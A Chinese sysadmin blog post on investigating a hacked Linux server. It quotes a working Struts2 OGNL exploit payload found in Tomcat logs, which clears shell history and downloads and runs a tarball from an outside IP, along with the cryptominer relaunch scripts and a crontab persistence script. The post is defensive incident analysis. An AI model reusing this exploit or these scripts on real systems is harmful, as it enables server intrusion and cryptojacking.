2018-04-24早上,开发说他们的聊天的项目不能登录,于是立刻查看服务器,结果已经不能远程登录服务器了,但是服务器的外网ip是可以ping通的,无解,只能让机房的同事登录服务器查看。
同事登录服务器,查看原来服务器上的sshd服务被关闭了,导致不能远程连接了
。开启sshd服务,我这边远程登录服务器,查看。服务器上的所有的服务,tomcat
Mysql nginx crond等服务都被关掉了。一开始以为是服务器自身的故障导致服务器重启,线上的服务都没起来,但是查看服务器上服务是否是开机自启动的,结果,服务都是开机自启动。而且top看服务器的运行时间,服务器都是一致都是正常的运行的,也没有重启过。
[root@localhost tmp]# chkconfig --list|grep -E "sshd|mysql|nginx|crond"
crond 0:off 1:off 2:on 3:on 4:on 5:on 6:off
mysqld 0:off 1:off 2:on 3:on 4:on 5:on 6:off
nginx 0:off 1:off 2:off 3:off 4:off 5:off 6:off
sshd 0:off 1:off 2:on 3:on 4:on 5:on 6:off
但是查看系统日志和安全登录日志,以及服务器的历史操作记录,以及我的定时任务的的内容,结果都被清空了,根本无法查找。太诡异了。基于以上的情况出现了两次,
于是对服务器做了安全限制,只能采用秘钥登录,修改服务器的sshd端口,
为了防止服务器上的sshd服务,crond服务,mysql,tomcat被异常关闭,以及定时任务内容被清空,于是写脚本检测服务进程不存在就启动服务,而且特意对crond文件进行了加锁,防止被删掉内容。
好景不长,
2018-04-26,也就是今天下午有出现异常,突然收到7.3服务器负载爆高的报警,
于是又开始排查,原来发现是代码的漏洞导致服务器被植入脚本了,下面是排查过程:
top查看负载,服务器负载飙高
查看cpu高的进程所运行的程序:
[root@localhost .xxz]# cd /var/tmp/
[root@localhost tmp]# ls
1.sh 3.sh sum
发现2个异常脚本和一个可执行程序,于是立刻去掉三个文件的执行权限
chmod 400 1.sh 3.sh sum
发现异常脚本
于是先kill掉sum的这个异常的进程
继续查看进程结果发现md的程序的cpu突然暴增
于是立刻kill掉md程序,服务器的负载迅速下降下来了
查看植入服务器的异常脚本:
root@localhost tmp]# cat 1.sh
#!/bin/sh
while true; do
server=`ps aux | grep sum | grep -v grep`
if [ ! "$server" ]; then
/var/tmp/sum -a sumo --host pool.sumokoin.hashvault.pro --port 3333 --user Sumoo3cjhZQNWkaxZdKpVeaRMpjDE7PV7VuK3KsGxPRKYvd5oq5VuvE58zCPfoJW8zdoMpW8UmXc4GoA7VgkfocBMgpn52QMG89 --pass xc
sleep 10
fi
sleep 5
done[root@localhost tmp]# cat 3.sh
#!/bin/sh
while true; do
server=`ps aux | grep sum | grep -v grep`
if [ ! "$server" ]; then
/var/tmp/sum -a sumo --host pool.sumokoin.hashvault.pro --port 3333 --user Sumoo3cjhZQNWkaxZdKpVeaRMpjDE7PV7VuK3KsGxPRKYvd5oq5VuvE58zCPfoJW8zdoMpW8UmXc4GoA7VgkfocBMgpn52QMG89 --pass xc
sleep 10
fi
sleep 5
继续排查,查看服务器的系统日志,没发现异常,于是又查看服务器的登录日志,也没发现登录异常的日志文件
tailf /var/log/messages
tailf /var/log/secure
那这些脚本有事如何上传到服务器上的呢? 忽然想到了,服务器上运行的tomcat得服务,而且听开发说是上传文件的java程序, 需要开始一个个日志文件查看,准予让我发现了蛛丝马迹了
[root@localhost logs]# grep export catalina.out
org.apache.commons.fileupload.FileUploadBase$InvalidContentTypeException: the request doesn‘t contain a multipart/form-data or multipart/form-data stream, content type header is %{(#_=‘multipart/form-data‘).(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context[‘com.opensymphony.xwork2.ActionContext.container‘]).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd=‘HISTORY HISTFILE HISTSAVE HISTZONE HISTORY HISTLOG WATCH ; history -n; export HISTFILE=/dev/null; export HISTSIZE=0; export HISTFILESIZE=0; cd /tmp; cd /var/tmp; chattr -ais *; wget http://52.175.207.110/.xxlol.tar.gz; curl -O http://52.175.207.110/.xxlol.tar.gz; fetch http://52.175.207.110/.xxlol.tar.gz; lwp-download http://52.175.207.110/.xxlol.tar.gz; tar -xvf .xxlol.tar.gz; rm -rf .xxlol.tar.gz; cd .xxz; chmod 777 *; ./x; ./run; history -c‘).(#iswin=(@java.lang.System@getProperty(‘os.name‘).toLowerCase().contains(‘win‘))).(#cmds=(#iswin?{‘cmd.exe‘,‘/c‘,#cmd}:{‘/bin/bash‘,‘-c‘,#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}
红色的字体,发现下载一个程序到服务器/var/tmp/下面,解压出来是一个隐藏文件
[root@localhost tmp]# pwd
/var/tmp
[root@localhost tmp]# ls -al
total 2644
drwxr-xr-x. 3 root root 4096 Apr 26 15:29 .
drwxr-xr-x. 21 root root 4096 Apr 10 2017 ..
-r-------- 1 root root 333 Apr 24 22:44 1.sh
-r-------- 1 root root 333 Apr 24 22:06 3.sh
-r-------- 1 root root 2684568 Apr 24 22:06 sum
drwx------ 2 1002 1002 4096 Apr 26 16:37 .xxz
[root@localhost tmp]# cd .xxz/
[root@localhost .xxz]# ls
a bash.pid cron.d dir.dir h32 h64 md run x
[root@localhost .xxz]#
去掉执行权限:
md h64 h32 run 都是恶意代码的执行程序
[root@localhost .xxz]# cat a
pwd > dir.dir
dir=$(cat dir.dir)
echo "* * * * * $dir/upd >/dev/null 2>&1" > cron.d
crontab cron.d
crontab -l | grep upd
echo "#!/bin/sh
if test -r $dir/bash.pid; then
pid=\$(cat $dir/bash.pid)
if \$(kill -CHLD \$pid >/dev/null 2>&1)
then
exit 0
fi
fi
cd $dir
./run &>/dev/null
chmod u+x upd
./run &>/dev/null
于是百度了一下如下代码:
org.apache.commons.fileupload.FileUploadBase$InvalidContentTypeException: the request doesn‘t contain a multipart/form-data or multipart/form-data stream, content type heade
结果查到了struts高危漏洞:
参考地址:
https://paper.seebug.org/241/
于是提交开发让开发修补代码漏洞,解决问题。
此处只是简单的介绍了下遇到黑服务器的几个常见的排查思路
原文地址:http://blog.51cto.com/wujianwei/2108365